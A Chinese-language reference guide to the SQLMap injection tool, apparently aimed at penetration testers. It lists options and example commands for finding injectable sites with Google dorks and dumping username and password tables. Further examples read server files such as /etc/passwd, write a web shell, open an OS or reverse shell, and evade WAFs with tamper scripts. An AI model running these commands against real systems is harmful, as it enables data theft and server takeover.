这是一份关于SQLMap的详细使用文档。SQLMap 是一款开源的自动化 SQL 注入工具,功能非常强大,支持多种数据库(MySQL, Oracle, SQL Server, PostgreSQL, SQLite 等)和多种注入类型(布尔盲注、时间盲注、报错注入、联合查询注入、堆叠注入)。
目录
- 基础用法
- 目标设置
- 请求配置
- 注入与检测
- 数据提取与枚举
- 高级功能
- 绕过 WAF/IDS
- 实用技巧与参数
- 常用组合示例
1. 基础用法
最基础的用法就是加上-u参数指定目标 URL(通常需要确保 URL 中带有可测试的参数,如?id=1)。
sqlmap-u"http://example.com/page.php?id=1"2. 目标设置
SQLMap 需要知道你要测试哪里,以下是指定目标的常用参数:
-u URL, --url=URL: 指定目标 URL。-m FILE: 从文本文件中批量读取 URL 进行扫描。-r FILE: 加载一个 HTTP 请求文件(通常从 Burp Suite 导出)。非常适合 POST 注入、HTTP 头注入或需要 Cookie 认证的页面。-g "Google搜索语法": 利用 Google Dork 自动搜索并测试可能存在注入的站点(如-g "inurl:php?id=")。--data=DATA: 指定 POST 提交的数据(如--data="id=1&name=admin")。
3. 请求配置(HTTP)
在真实环境中,往往需要配置 HTTP 请求头才能访问到有漏洞的页面。
--cookie=COOKIE: 指定 HTTP Cookie 头(用于需要登录的页面)。--user-agent=AGENT: 指定 User-Agent。--random-agent: 使用随机生成的 User-Agent(防止被简单的 UA 拦截)。--host=HOST: 指定 Host 头。--referer=REFERER: 指定 Referer 头。--headers=HEADERS: 额外的 HTTP 头(如--headers="X-Forwarded-For: 127.0.0.1")。--auth-type=TYPE: HTTP 认证类型(Basic, Digest, NTLM)。--auth-cred=USER:PASS: HTTP 认证账号密码。--proxy=PROXY: 使用代理(如--proxy="http://127.0.0.1:8080",常用于配合 Burp 抓包)。--delay=DELAY: 每次请求之间的延迟秒数(防止请求过快被ban,默认无延迟)。--timeout=TIMEOUT: 请求超时时间(默认 30 秒)。--retries=RETRIES: 连接失败时的重试次数(默认 3 次)。
4. 注入与检测
控制 SQLMap 如何进行测试和注入。
-p TESTPARAMETER: 指定要测试的参数(如-p "id"),如果不指定,SQLMap 会测试所有参数。--skip=SKIP: 跳过指定的参数不进行测试。--dbms=DBMS: 指定后端数据库类型(如--dbms="mysql"),可以大幅节省探测时间。--os=OS: 指定后端操作系统类型。--level=LEVEL:测试级别(1-5,默认 1)。- Level 1: 测试 GET/POST 参数。
- Level 2: 测试 HTTP Cookie 头。
- Level 3: 测试 HTTP User-Agent/Referer 头。
- Level 4-5: 更多的测试 payload。
--risk=RISK:风险级别(1-3,默认 1)。- Risk 1: 安全的测试语句,不会对数据库造成破坏。
- Risk 2: 基于时间的大量查询测试语句。
- Risk 3: 基于
OR的测试语句(慎用,可能会修改数据库数据,如UPDATE语句被注入变成修改全表)。
--technique=TECH: 指定使用的注入技术(默认 BEUSTQ)。B: Boolean-based blind (布尔盲注)E: Error-based (报错注入)U: Union query-based (联合查询注入)S: Stacked queries (堆叠注入)T: Time-based blind (时间盲注)Q: Inline queries (内联查询)
5. 数据提取与枚举
确认存在注入后,使用以下参数提取数据。
-b, --banner: 获取数据库版本信息。--current-user: 获取当前数据库用户名。--current-db: 获取当前数据库名。--is-dba: 判断当前用户是否为 DBA(管理员权限)。--dbs: 枚举所有数据库名。--tables: 枚举指定数据库中的所有表(需配合-D)。--columns: 枚举指定表中的所有字段(需配合-D和-T)。--schema: 枚举数据库架构。--dump: 导出指定表的数据(需配合-D和-T)。--dump-all: 导出所有数据库的所有表(极其耗时,慎用)。-D DB: 指定要操作的数据库名。-T TABLE: 指定要操作的表名。-C COL: 指定要操作的字段名(如-C "username,password")。--start=START: 指定导出数据的起始行。--stop=STOP: 指定导出数据的结束行(如只导出前 10 条:--start=1 --stop=10)。--sql-query=QUERY: 执行自定义的 SQL 语句(如--sql-query="SELECT * FROM users LIMIT 5")。
6. 高级功能(文件操作与OS Shell)
如果当前数据库用户权限足够高(通常是 DBA),可以进行更危险的操作。
--file-read=RFILE: 读取后端服务器上的文件(如--file-read="/etc/passwd")。--file-write=WFILE: 写入本地文件到后端服务器(需配合--file-dest)。--file-dest=DFILE: 指定写入到后端服务器的绝对路径。- 示例:
sqlmap -u "url" --file-write="/shell.php" --file-dest="/var/www/html/shell.php"
- 示例:
--os-cmd=OSCMD: 执行单条操作系统命令。--os-shell: 获取一个交互式的操作系统 Shell(通常通过写一个上传脚本或 UDF 提权实现)。--os-pwn: 获取一个 OOB (Out-of-Band) 的反弹 Shell(结合 Metasploit 使用)。
7. 绕过 WAF/IDS
当目标存在防护设备时,可以使用以下参数尝试绕过。
--tamper=TAMPER: 使用混淆脚本绕过 WAF。SQLMap 自带了数十个 tamper 脚本位于tamper/目录下。- 常用 tamper:
space2comment.py(空格替换为注释)、charunicodeencode.py(Unicode编码)、apostrophemask.py(引号编码)。 - 可同时使用多个:
--tamper="space2comment,charunicodeencode"
- 常用 tamper:
--random-agent: 随机 UA,绕过基于 UA 的拦截。--hpp: 使用 HTTP 参数污染(例如?id=1&id=1)。--delay=2: 降低请求频率,绕过基于频率的拦截。--proxy: 配合代理池不断更换 IP。
8. 实用技巧与参数
--batch:自动模式。不在测试过程中询问用户任何问题,全部采用默认逻辑执行。在写脚本或无人值守时必加。--flush-session: 清空当前 URL 的会话记录,重新进行测试(默认 SQLMap 会读取历史测试结果)。--wizard: 向导模式,适合新手,一步步引导你输入参数。--mobile: 模拟手机 UA。--privileges: 查看当前用户的权限。--roles: 查看当前用户的角色。
9. 常用组合示例
示例 1:最基础的 GET 注入测试
sqlmap-u"http://example.com/news.php?id=1"--batch--random-agent示例 2:带 Cookie 的认证后注入,并指定 MySQL 数据库
sqlmap-u"http://example.com/user.php?id=1"--cookie="PHPSESSID=1234567890abcdef"--dbms="MySQL"--batch示例 3:POST 注入(使用 Burp 抓包保存为 post.txt)
sqlmap-rpost.txt-p"username"--batch示例 4:直接脱裤(Dump 数据)
# 1. 爆库sqlmap-u"http://example.com/news.php?id=1"--dbs--batch# 2. 爆表 (假设数据库名为 web_db)sqlmap-u"http://example.com/news.php?id=1"-D"web_db"--tables--batch# 3. 爆字段 (假设表名为 users)sqlmap-u"http://example.com/news.php?id=1"-D"web_db"-T"users"--columns--batch# 4. 爆数据 (假设字段为 username,password)sqlmap-u"http://example.com/news.php?id=1"-D"web_db"-T"users"-C"username,password"--dump--batch示例 5:高阶测试(测试 HTTP 头,高风险,使用 Tamper 绕过 WAF)
sqlmap-u"http://example.com/news.php?id=1"--level=3--risk=2--tamper="space2comment,randomcase"--batch示例 6:尝试获取 OS Shell
sqlmap-u"http://example.com/news.php?id=1"--os-shell--batch